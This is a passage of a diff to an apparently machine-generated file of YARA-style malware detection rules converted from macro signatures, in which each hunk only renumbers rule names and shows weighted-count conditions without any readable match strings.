"!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,03 00 03 00 03 00 21 " @@ -305433,7 +321928,7 @@ rule _InfrastructureShared_23440{ ((#a_53_0 & 1)*19747+(#a_90_1 & 1)*28674) >=3 } -rule _InfrastructureShared_23441{ +rule _InfrastructureShared_24727{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,03 00 03 00 03 00 21 " @@ -305444,7 +321939,7 @@ rule _InfrastructureShared_23441{ ((#a_53_0 & 1)*19747+(#a_90_1 & 1)*28674) >=3 } -rule _InfrastructureShared_23442{ +rule _InfrastructureShared_24728{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,03 00 03 00 03 00 21 " @@ -305456,7 +321951,7 @@ rule _InfrastructureShared_23442{ ((#a_53_0 & 1)*19747+(#a_2b_1 & 1)*12290+(#a_45_2 & 1)*28239) >=3 } -rule _InfrastructureShared_23443{ +rule _InfrastructureShared_24729{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,03 00 03 00 07 00 21 " @@ -305471,7 +321966,7 @@ rule _InfrastructureShared_23443{ ((#a_46_0 & 1)*21283+(#a_73_1 & 1)*25964+(#a_69_2 & 1)*25970+(#a_01_3 & 1)*26951+(#a_66_4 & 1)*29540+(#a_2e_6 & 1)*8704) >=3 } -rule _InfrastructureShared_23444{ +rule _InfrastructureShared_24730{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,04 00 04 00 04 00 21 " @@ -305484,7 +321979,7 @@ rule _InfrastructureShared_23444{ ((#a_53_0 & 1)*19747+(#a_33_1 & 1)*8235+(#a_20_2 & 1)*8226+(#a_22_3 & 1)*25890) >=4 } -rule _InfrastructureShared_23445{ +rule _InfrastructureShared_24731{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,05 00 05 00 05 00 21 " @@ -305498,7 +321993,7 @@ rule _InfrastructureShared_23445{ ((#a_46_0 & 1)*16675+(#a_2e_1 & 1)*6400+(#a_69_2 & 1)*28500+(#a_35_3 & 1)*29288+(#a_37_4 & 1)*20282) >=5 } -rule _InfrastructureShared_23446{ +rule _InfrastructureShared_24732{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,06 00 06 00 06 00 21 " @@ -305513,7 +322008,7 @@ rule _InfrastructureShared_23446{ ((#a_53_0 & 1)*19747+(#a_65_1 & 1)*8236+(#a_50_2 & 1)*268+(#a_73_3 & 1)*21818+(#a_6c_4 & 1)*26707+(#a_69_5 & 1)*11892) >=6 } -rule _InfrastructureShared_23447{ +rule _InfrastructureShared_24733{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,0a 00 0a 00 0a 00 21 " @@ -305530,7 +322025,7 @@ rule _InfrastructureShared_23447{ ((#a_53_0 & 1)*19747+(#a_44_2 & 1)*21077+(#a_6e_4 & 1)*29185+(#a_02_5 & 1)*8235+(#a_90_6 & 1)*10361+(#a_03_7 & 1)*1+(#a_03_8 & 1)*1+(#a_c8_9 & 1)*0) >=10 } -rule _InfrastructureShared_23448{ +rule _InfrastructureShared_24734{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 07 00 21 " @@ -305546,7 +322041,7 @@ rule _InfrastructureShared_23448{ ((#a_53_0 & 1)*19747+(#a_22_1 & 1)*4352+(#a_90_2 & 1)*11040+(#a_61_3 & 1)*8707+(#a_0f_4 & 1)*-28640+(#a_20_5 & 1)*31277+(#a_28_6 & 1)*11040) >=1 } -rule _InfrastructureShared_23449{ +rule _InfrastructureShared_24735{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,03 00 03 00 03 00 21 " @@ -305558,7 +322053,7 @@ rule _InfrastructureShared_23449{ ((#a_53_0 & 1)*19747+(#a_6e_1 & 1)*30583+(#a_00_2 & 1)*29816) >=3 } -rule _InfrastructureShared_23450{ +rule _InfrastructureShared_24736{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,03 00 03 00 03 00 21 " @@ -305570,7 +322065,7 @@ rule _InfrastructureShared_23450{ ((#a_53_0 & 1)*19747+(#a_2b_1 & 1)*4098+(#a_29_2 & 1)*30821) >=3 } -rule _InfrastructureShared_23451{ +rule _InfrastructureShared_24737{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,0c 00 0c 00 07 00 21 " @@ -305586,7 +322081,7 @@ rule _InfrastructureShared_23451{ ((#a_46_0 & 1)*21283+(#a_6d_1 & 1)*25455+(#a_48_2 & 1)*8993+(#a_63_3 & 1)*656+(#a_61_4 & 1)*24932+(#a_4f_5 & 1)*20306+(#a_65_6 & 1)*17517) >=12 } -rule _InfrastructureShared_23452{ +rule _InfrastructureShared_24738{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -305596,7 +322091,7 @@ rule _InfrastructureShared_23452{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_23453{ +rule _InfrastructureShared_24739{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 11 00 21 " @@ -305619,7 +322114,7 @@ rule _InfrastructureShared_23453{ ((#a_53_0 & 1)*19747+(#a_4d_1 & 1)*261+(#a_00_2 & 1)*11844+(#a_4d_3 & 1)*8705+(#a_24_4 & 1)*26691+(#a_48_5 & 1)*8993+(#a_20_6 & 1)*12290+(#a_30_7 & 1)*-28640+(#a_20_8 & 1)*656+(#a_00_11 & 1)*4+(#a_54_12 & 1)*18509+(#a_6c_14 & 1)*25938+(#a_6f_15 & 1)*21562+(#a_70_16 & 1)*8747) >=1 } -rule _InfrastructureShared_23454{ +rule _InfrastructureShared_24740{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,04 00 04 00 04 00 21 " @@ -305632,7 +322127,7 @@ rule _InfrastructureShared_23454{ ((#a_53_0 & 1)*19747+(#a_03_1 & 1)*-28632+(#a_68_2 & 1)*8230+(#a_68_3 & 1)*11776) >=4 } -rule _InfrastructureShared_23455{ +rule _InfrastructureShared_24741{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,04 00 04 00 04 00 21 " @@ -305644,7 +322139,7 @@ rule _InfrastructureShared_23455{ ((#a_53_0 & 1)*19747+(#a_90_1 & 1)*2+(#a_90_2 & 1)*8752) >=4 } -rule _InfrastructureShared_23456{ +rule _InfrastructureShared_24742{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,04 00 04 00 04 00 21 " @@ -305656,7 +322151,7 @@ rule _InfrastructureShared_23456{ ((#a_53_0 & 1)*19747+(#a_68_1 & 1)*8736+(#a_65_2 & 1)*20319) >=4 } -rule _InfrastructureShared_23457{ +rule _InfrastructureShared_24743{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,05 00 05 00 02 00 21 " @@ -305667,7 +322162,7 @@ rule _InfrastructureShared_23457{ ((#a_53_0 & 1)*19747+(#a_61_1 & 1)*11891) >=5 } -rule _InfrastructureShared_23458{ +rule _InfrastructureShared_24744{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,05 00 05 00 05 00 21 " @@ -305680,7 +322175,7 @@ rule _InfrastructureShared_23458{ ((#a_46_0 & 1)*16675+(#a_22_1 & 1)*8736+(#a_52_2 & 1)*21320+(#a_20_4 & 1)*28229) >=5 } -rule _InfrastructureShared_23459{ +rule _InfrastructureShared_24745{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,05 00 05 00 05 00 21 " @@ -305694,7 +322189,7 @@ rule _InfrastructureShared_23459{ ((#a_53_0 & 1)*19747+(#a_02_1 & 1)*10356+(#a_63_2 & 1)*29801+(#a_22_3 & 1)*17735+(#a_70_4 & 1)*29551) >=5 } -rule _InfrastructureShared_23460{ +rule _InfrastructureShared_24746{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,05 00 05 00 05 00 21 " @@ -305708,7 +322203,7 @@ rule _InfrastructureShared_23460{ ((#a_4c_0 & 1)*21539+(#a_00_1 & 1)*1+(#a_00_2 & 1)*1+(#a_00_3 & 1)*1+(#a_02_4 & 1)*1) >=5 } -rule _InfrastructureShared_23461{ +rule _InfrastructureShared_24747{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -305718,7 +322213,7 @@ rule _InfrastructureShared_23461{ ((#a_70_0 & 1)*17699) >=1 } -rule _InfrastructureShared_23462{ +rule _InfrastructureShared_24748{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,02 00 02 00 02 00 21 " @@ -305729,7 +322224,7 @@ rule _InfrastructureShared_23462{ ((#a_53_0 & 1)*19747+(#a_53_1 & 1)*29696) >=2 } -rule _InfrastructureShared_23463{ +rule _InfrastructureShared_24749{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,03 00 03 00 03 00 21 " @@ -305741,7 +322236,7 @@ rule _InfrastructureShared_23463{ ((#a_53_0 & 1)*19747+(#a_2b_1 & 1)*29816+(#a_43_2 & 1)*12290) >=3 } -rule _InfrastructureShared_23464{ +rule _InfrastructureShared_24750{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,03 00 03 00 03 00 21 " @@ -305753,7 +322248,7 @@ rule _InfrastructureShared_23464{ ((#a_53_0 & 1)*19747+(#a_2b_1 & 1)*12290+(#a_3d_2 & 1)*13568) >=3 } -rule _InfrastructureShared_23465{ +rule _InfrastructureShared_24751{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,03 00 03 00 03 00 21 " @@ -305765,7 +322260,7 @@ rule _InfrastructureShared_23465{ ((#a_53_0 & 1)*19747+(#a_04_1 & 1)*-28640+(#a_65_2 & 1)*17198) >=3 } -rule _InfrastructureShared_23466{ +rule _InfrastructureShared_24752{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,06 00 06 00 06 00 21 " @@ -305780,7 +322275,7 @@ rule _InfrastructureShared_23466{ ((#a_4c_0 & 1)*21539+(#a_72_1 & 1)*11817+(#a_61_2 & 1)*25205+(#a_69_3 & 1)*30575+(#a_03_4 & 1)*1+(#a_01_5 & 1)*1) >=6 } -rule _InfrastructureShared_23467{ +rule _InfrastructureShared_24753{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,07 00 07 00 07 00 21 " @@ -305794,7 +322289,7 @@ rule _InfrastructureShared_23467{ ((#a_53_0 & 1)*19747+(#a_67_1 & 1)*8291+(#a_54_4 & 1)*18509+(#a_2c_5 & 1)*11298+(#a_1b_6 & 1)*23586) >=7 } -rule _InfrastructureShared_23468{ +rule _InfrastructureShared_24754{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -305804,7 +322299,7 @@ rule _InfrastructureShared_23468{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_23469{ +rule _InfrastructureShared_24755{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 05 00 21 " @@ -305818,7 +322313,7 @@ rule _InfrastructureShared_23469{ ((#a_53_0 & 1)*19747+(#a_20_1 & 1)*8311+(#a_74_2 & 1)*29285+(#a_4d_3 & 1)*14671+(#a_74_4 & 1)*25970) >=1 } -rule _InfrastructureShared_23470{ +rule _InfrastructureShared_24756{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,03 00 03 00 03 00 21 " @@ -305830,7 +322325,7 @@ rule _InfrastructureShared_23470{ ((#a_53_0 & 1)*19747+(#a_29_1 & 1)*13856+(#a_29_2 & 1)*14112) >=3 } -rule _InfrastructureShared_23471{ +rule _InfrastructureShared_24757{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,03 00 03 00 03 00 21 " @@ -305842,7 +322337,7 @@ rule _InfrastructureShared_23471{ ((#a_53_0 & 1)*19747+(#a_22_1 & 1)*8705+(#a_cb_2 & 1)*0) >=3 } -rule _InfrastructureShared_23472{ +rule _InfrastructureShared_24758{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,03 00 03 00 03 00 21 " @@ -305854,7 +322349,7 @@ rule _InfrastructureShared_23472{ ((#a_4c_0 & 1)*21539+(#a_5f_1 & 1)*25978+(#a_74_2 & 1)*25896) >=3 } -rule _InfrastructureShared_23473{ +rule _InfrastructureShared_24759{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,03 00 03 00 09 00 21 " @@ -305872,7 +322367,7 @@ rule _InfrastructureShared_23473{ ((#a_53_0 & 1)*19747+(#a_01_1 & 1)*3584+(#a_52_2 & 1)*21320+(#a_20_3 & 1)*28516+(#a_2f_4 & 1)*14137+(#a_68_5 & 1)*24948+(#a_cb_6 & 1)*0+(#a_22_7 & 1)*11808+(#a_00_8 & 1)*21581) >=3 } -rule _InfrastructureShared_23474{ +rule _InfrastructureShared_24760{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,04 00 04 00 04 00 21 " @@ -305885,7 +322380,7 @@ rule _InfrastructureShared_23474{ ((#a_53_0 & 1)*19747+(#a_90_1 & 1)*8238+(#a_90_2 & 1)*8236+(#a_48_3 & 1)*19767) >=4 } -rule _InfrastructureShared_23475{ +rule _InfrastructureShared_24761{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,04 00 04 00 04 00 21 " @@ -305898,7 +322393,7 @@ rule _InfrastructureShared_23475{ ((#a_53_0 & 1)*19747+(#a_6f_1 & 1)*25974+(#a_76_2 & 1)*11298+(#a_8f_3 & 1)*-28632) >=4 } -rule _InfrastructureShared_23476{ +rule _InfrastructureShared_24762{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,04 00 04 00 04 00 21 " @@ -305911,7 +322406,7 @@ rule _InfrastructureShared_23476{ ((#a_53_0 & 1)*19747+(#a_20_1 & 1)*656+(#a_72_2 & 1)*30055+(#a_6f_3 & 1)*12109) >=4 } -rule _InfrastructureShared_23477{ +rule _InfrastructureShared_24763{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,05 00 05 00 05 00 21 " @@ -305925,7 +322420,7 @@ rule _InfrastructureShared_23477{ ((#a_46_0 & 1)*16675+(#a_18_1 & 1)*-28632+(#a_90_2 & 1)*8826+(#a_00_3 & 1)*24932+(#a_74_4 & 1)*25924) >=5 } -rule _InfrastructureShared_23478{ +rule _InfrastructureShared_24764{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,05 00 05 00 05 00 21 " @@ -305939,7 +322434,7 @@ rule _InfrastructureShared_23478{ ((#a_4c_0 & 1)*21539+(#a_65_1 & 1)*17518+(#a_20_2 & 1)*26436+(#a_73_3 & 1)*26988+(#a_61_4 & 1)*30240) >=5 } -rule _InfrastructureShared_23479{ +rule _InfrastructureShared_24765{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,05 00 05 00 05 00 21 " @@ -305953,7 +322448,7 @@ rule _InfrastructureShared_23479{ ((#a_6f_0 & 1)*21539+(#a_01_1 & 1)*12576+(#a_6f_2 & 1)*26210+(#a_73_3 & 1)*27170+(#a_54_4 & 1)*18509) >=5 } -rule _InfrastructureShared_23480{ +rule _InfrastructureShared_24766{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 03 00 21 " @@ -305964,7 +322459,7 @@ rule _InfrastructureShared_23480{ ((#a_53_0 & 1)*19747+(#a_20_1 & 1)*293) >=1 } -rule _InfrastructureShared_23481{ +rule _InfrastructureShared_24767{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,04 00 04 00 04 00 21 " @@ -305977,7 +322472,7 @@ rule _InfrastructureShared_23481{ ((#a_53_0 & 1)*19747+(#a_20_1 & 1)*8293+(#a_68_2 & 1)*8253+(#a_46_3 & 1)*16675) >=4 } -rule _InfrastructureShared_23482{ +rule _InfrastructureShared_24768{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,06 00 06 00 03 00 21 " @@ -305989,7 +322484,7 @@ rule _InfrastructureShared_23482{ ((#a_46_0 & 1)*16675+(#a_20_1 & 1)*29537+(#a_00_2 & 1)*9) >=6 } -rule _InfrastructureShared_23483{ +rule _InfrastructureShared_24769{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,09 00 09 00 09 00 21 " @@ -306007,7 +322502,7 @@ rule _InfrastructureShared_23483{ ((#a_53_0 & 1)*19747+(#a_65_1 & 1)*29798+(#a_00_2 & 1)*17985+(#a_74_3 & 1)*25970+(#a_45_4 & 1)*27749+(#a_03_5 & 1)*1424+(#a_2d_6 & 1)*11011+(#a_0a_7 & 1)*29816+(#a_03_8 & 1)*1424) >=9 } -rule _InfrastructureShared_23484{ +rule _InfrastructureShared_24770{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,0b 00 0b 00 0b 00 21 " @@ -306027,7 +322522,7 @@ rule _InfrastructureShared_23484{ ((#a_53_0 & 1)*19747+(#a_65_1 & 1)*26950+(#a_33_2 & 1)*30323+(#a_04_3 & 1)*8249+(#a_66_4 & 1)*13312+(#a_6e_5 & 1)*26996+(#a_30_6 & 1)*541+(#a_48_7 & 1)*8993+(#a_2e_8 & 1)*656+(#a_3a_9 & 1)*656+(#a_90_10 & 1)*11301) >=11 } -rule _InfrastructureShared_23485{ +rule _InfrastructureShared_24771{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 02 00 21 " @@ -306038,7 +322533,7 @@ rule _InfrastructureShared_23485{ ((#a_53_0 & 1)*19747+(#a_05_1 & 1)*257) >=1 } -rule _InfrastructureShared_23486{ +rule _InfrastructureShared_24772{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,03 00 03 00 04 00 21 " @@ -306050,7 +322545,7 @@ rule _InfrastructureShared_23486{ ((#a_53_0 & 1)*19747+(#a_90_2 & 1)*9760+(#a_6f_3 & 1)*29795) >=3 } -rule _InfrastructureShared_23487{ +rule _InfrastructureShared_24773{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -306060,7 +322555,7 @@ rule _InfrastructureShared_23487{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_23488{ +rule _InfrastructureShared_24774{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 03 00 21 " @@ -306072,7 +322567,7 @@ rule _InfrastructureShared_23488{ ((#a_53_0 & 1)*19747+(#a_22_1 & 1)*14592+(#a_2b_2 & 1)*12290) >=1 } -rule _InfrastructureShared_23489{ +rule _InfrastructureShared_24775{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 10 00 21 " @@ -306097,7 +322592,7 @@ rule _InfrastructureShared_23489{ ((#a_53_0 & 1)*19747+(#a_6a_1 & 1)*22529+(#a_7c_2 & 1)*30819+(#a_74_3 & 1)*29243+(#a_4c_4 & 1)*8993+(#a_79_5 & 1)*31084+(#a_6c_6 & 1)*26154+(#a_56_7 & 1)*25972+(#a_6d_8 & 1)*28486+(#a_90_9 & 1)*8235+(#a_90_10 & 1)*12290+(#a_02_11 & 1)*29520+(#a_08_12 & 1)*-28640+(#a_4f_13 & 1)*29295+(#a_65_14 & 1)*25709+(#a_74_15 & 1)*25445) >=1 } -rule _InfrastructureShared_23490{ +rule _InfrastructureShared_24776{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,02 00 02 00 02 00 21 " @@ -306108,7 +322603,7 @@ rule _InfrastructureShared_23490{ ((#a_53_0 & 1)*19747+(#a_74_1 & 1)*28265) >=2 } -rule _InfrastructureShared_23491{ +rule _InfrastructureShared_24777{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,03 00 03 00 03 00 21 " @@ -306120,7 +322615,7 @@ rule _InfrastructureShared_23491{ ((#a_46_0 & 1)*16675+(#a_79_1 & 1)*27507+(#a_00_2 & 1)*0) >=3 } -rule _InfrastructureShared_23492{ +rule _InfrastructureShared_24778{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,03 00 03 00 03 00 21 " @@ -306132,7 +322627,7 @@ rule _InfrastructureShared_23492{ ((#a_54_0 & 1)*18467+(#a_56_1 & 1)*25972+(#a_6d_2 & 1)*28486) >=3 } -rule _InfrastructureShared_23493{ +rule _InfrastructureShared_24779{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,03 00 03 00 03 00 21 " @@ -306144,7 +322639,7 @@ rule _InfrastructureShared_23493{ ((#a_53_0 & 1)*19747+(#a_2b_1 & 1)*12290+(#a_65_2 & 1)*656) >=3 } -rule _InfrastructureShared_23494{ +rule _InfrastructureShared_24780{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,03 00 03 00 05 00 21 " @@ -306157,7 +322652,7 @@ rule _InfrastructureShared_23494{ ((#a_54_0 & 1)*18467+(#a_70_1 & 1)*29284+(#a_41_3 & 1)*8448+(#a_00_4 & 1)*1) >=3 } -rule _InfrastructureShared_23495{ +rule _InfrastructureShared_24781{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,04 00 04 00 04 00 21 " @@ -306170,7 +322665,7 @@ rule _InfrastructureShared_23495{ ((#a_46_0 & 1)*16675+(#a_22_1 & 1)*8736+(#a_74_2 & 1)*26994+(#a_02_3 & 1)*29248) >=4 } -rule _InfrastructureShared_23496{ +rule _InfrastructureShared_24782{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,04 00 04 00 04 00 21 " @@ -306183,7 +322678,7 @@ rule _InfrastructureShared_23496{ ((#a_53_0 & 1)*19747+(#a_2b_1 & 1)*12290+(#a_3d_2 & 1)*5376+(#a_90_3 & 1)*29801) >=4 } -rule _InfrastructureShared_23497{ +rule _InfrastructureShared_24783{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,04 00 04 00 04 00 21 " @@ -306196,7 +322691,7 @@ rule _InfrastructureShared_23497{ ((#a_4c_0 & 1)*21539+(#a_35_1 & 1)*13109+(#a_20_2 & 1)*30724+(#a_02_3 & 1)*29816) >=4 } -rule _InfrastructureShared_23498{ +rule _InfrastructureShared_24784{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,05 00 05 00 05 00 21 " @@ -306210,7 +322705,7 @@ rule _InfrastructureShared_23498{ ((#a_53_0 & 1)*19747+(#a_0f_1 & 1)*-28640+(#a_7a_2 & 1)*32369+(#a_4d_3 & 1)*21076+(#a_41_4 & 1)*11568) >=5 } -rule _InfrastructureShared_23499{ +rule _InfrastructureShared_24785{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -306220,7 +322715,7 @@ rule _InfrastructureShared_23499{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_23500{ +rule _InfrastructureShared_24786{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 04 00 21 " @@ -306232,7 +322727,7 @@ rule _InfrastructureShared_23500{ ((#a_53_0 & 1)*19747+(#a_54_2 & 1)*17698+(#a_03_3 & 1)*1) >=1 } -rule _InfrastructureShared_23501{ +rule _InfrastructureShared_24787{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,02 00 02 00 02 00 21 " @@ -306243,7 +322738,7 @@ rule _InfrastructureShared_23501{ ((#a_53_0 & 1)*19747+(#a_90_1 & 1)*4098) >=2 } -rule _InfrastructureShared_23502{ +rule _InfrastructureShared_24788{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,03 00 03 00 03 00 21 " @@ -306255,7 +322750,7 @@ rule _InfrastructureShared_23502{ ((#a_53_0 & 1)*19747+(#a_22_1 & 1)*11040+(#a_40_2 & 1)*-28567) >=3 } -rule _InfrastructureShared_23503{ +rule _InfrastructureShared_24789{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,04 00 04 00 04 00 21 " @@ -306268,7 +322763,7 @@ rule _InfrastructureShared_23503{ ((#a_53_0 & 1)*19747+(#a_61_1 & 1)*17698+(#a_5d_2 & 1)*23378+(#a_53_3 & 1)*22062) >=4 } -rule _InfrastructureShared_23504{ +rule _InfrastructureShared_24790{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,04 00 04 00 04 00 21 " @@ -306280,7 +322775,7 @@ rule _InfrastructureShared_23504{ ((#a_53_0 & 1)*19747+(#a_3d_1 & 1)*-254+(#a_26_3 & 1)*4864) >=4 } -rule _InfrastructureShared_23505{ +rule _InfrastructureShared_24791{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,4b 00 32 00 0c 00 21 " @@ -306301,7 +322796,7 @@ rule _InfrastructureShared_23505{ ((#a_46_0 & 1)*16675+(#a_55_1 & 1)*1792+(#a_28_2 & 1)*28277+(#a_6c_3 & 1)*26707+(#a_65_4 & 1)*8293+(#a_20_5 & 1)*16672+(#a_20_6 & 1)*8+(#a_2c_7 & 1)*11776+(#a_20_8 & 1)*8824+(#a_21_9 & 1)*21038+(#a_90_10 & 1)*10350+(#a_68_11 & 1)*8300) >=50 } -rule _InfrastructureShared_23506{ +rule _InfrastructureShared_24792{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 0a 00 21 " @@ -306318,7 +322813,7 @@ rule _InfrastructureShared_23506{ ((#a_53_0 & 1)*19747+(#a_72_1 & 1)*29298+(#a_43_2 & 1)*1024+(#a_00_4 & 1)*0+(#a_54_6 & 1)*18509+(#a_22_7 & 1)*6+(#a_20_8 & 1)*30821+(#a_76_9 & 1)*12544) >=1 } -rule _InfrastructureShared_23507{ +rule _InfrastructureShared_24793{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 0e 00 21 " @@ -306341,7 +322836,7 @@ rule _InfrastructureShared_23507{ ((#a_53_0 & 1)*19747+(#a_20_1 & 1)*8+(#a_2c_2 & 1)*11776+(#a_20_3 & 1)*8824+(#a_21_4 & 1)*21038+(#a_90_5 & 1)*10350+(#a_68_6 & 1)*8300+(#a_74_7 & 1)*27973+(#a_74_8 & 1)*30313+(#a_42_9 & 1)*11892+(#a_65_10 & 1)*8253+(#a_03_11 & 1)*1+(#a_d2_12 & 1)*0+(#a_6d_13 & 1)*9762) >=1 } -rule _InfrastructureShared_23508{ +rule _InfrastructureShared_24794{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,02 00 02 00 02 00 21 " @@ -306352,7 +322847,7 @@ rule _InfrastructureShared_23508{ ((#a_53_0 & 1)*19747+(#a_00_1 & 1)*144) >=2 } -rule _InfrastructureShared_23509{ +rule _InfrastructureShared_24795{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,03 00 03 00 03 00 21 " @@ -306364,7 +322859,7 @@ rule _InfrastructureShared_23509{ ((#a_53_0 & 1)*19747+(#a_20_1 & 1)*8233+(#a_20_2 & 1)*29793) >=3 } -rule _InfrastructureShared_23510{ +rule _InfrastructureShared_24796{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,04 00 04 00 04 00 21 " @@ -306376,7 +322871,7 @@ rule _InfrastructureShared_23510{ ((#a_53_0 & 1)*19747+(#a_65_2 & 1)*8253+(#a_03_3 & 1)*1) >=4 } -rule _InfrastructureShared_23511{ +rule _InfrastructureShared_24797{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 04 00 21 " @@ -306389,7 +322884,7 @@ rule _InfrastructureShared_23511{ ((#a_46_0 & 1)*21283+(#a_26_1 & 1)*30498+(#a_22_2 & 1)*-8446+(#a_22_3 & 1)*-8446) >=1 } -rule _InfrastructureShared_23512{ +rule _InfrastructureShared_24798{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 06 00 21 " @@ -306403,7 +322898,7 @@ rule _InfrastructureShared_23512{ ((#a_53_0 & 1)*19747+(#a_29_1 & 1)*400+(#a_43_2 & 1)*793+(#a_5b_3 & 1)*10322+(#a_00_5 & 1)*119) >=1 } -rule _InfrastructureShared_23513{ +rule _InfrastructureShared_24799{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,03 00 03 00 06 00 21 " @@ -306417,7 +322912,7 @@ rule _InfrastructureShared_23513{ ((#a_53_0 & 1)*19747+(#a_6d_1 & 1)*28014+(#a_62_2 & 1)*27236+(#a_02_4 & 1)*8736+(#a_6e_5 & 1)*8744) >=3 } -rule _InfrastructureShared_23514{ +rule _InfrastructureShared_24800{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 02 00 21 " @@ -306428,7 +322923,7 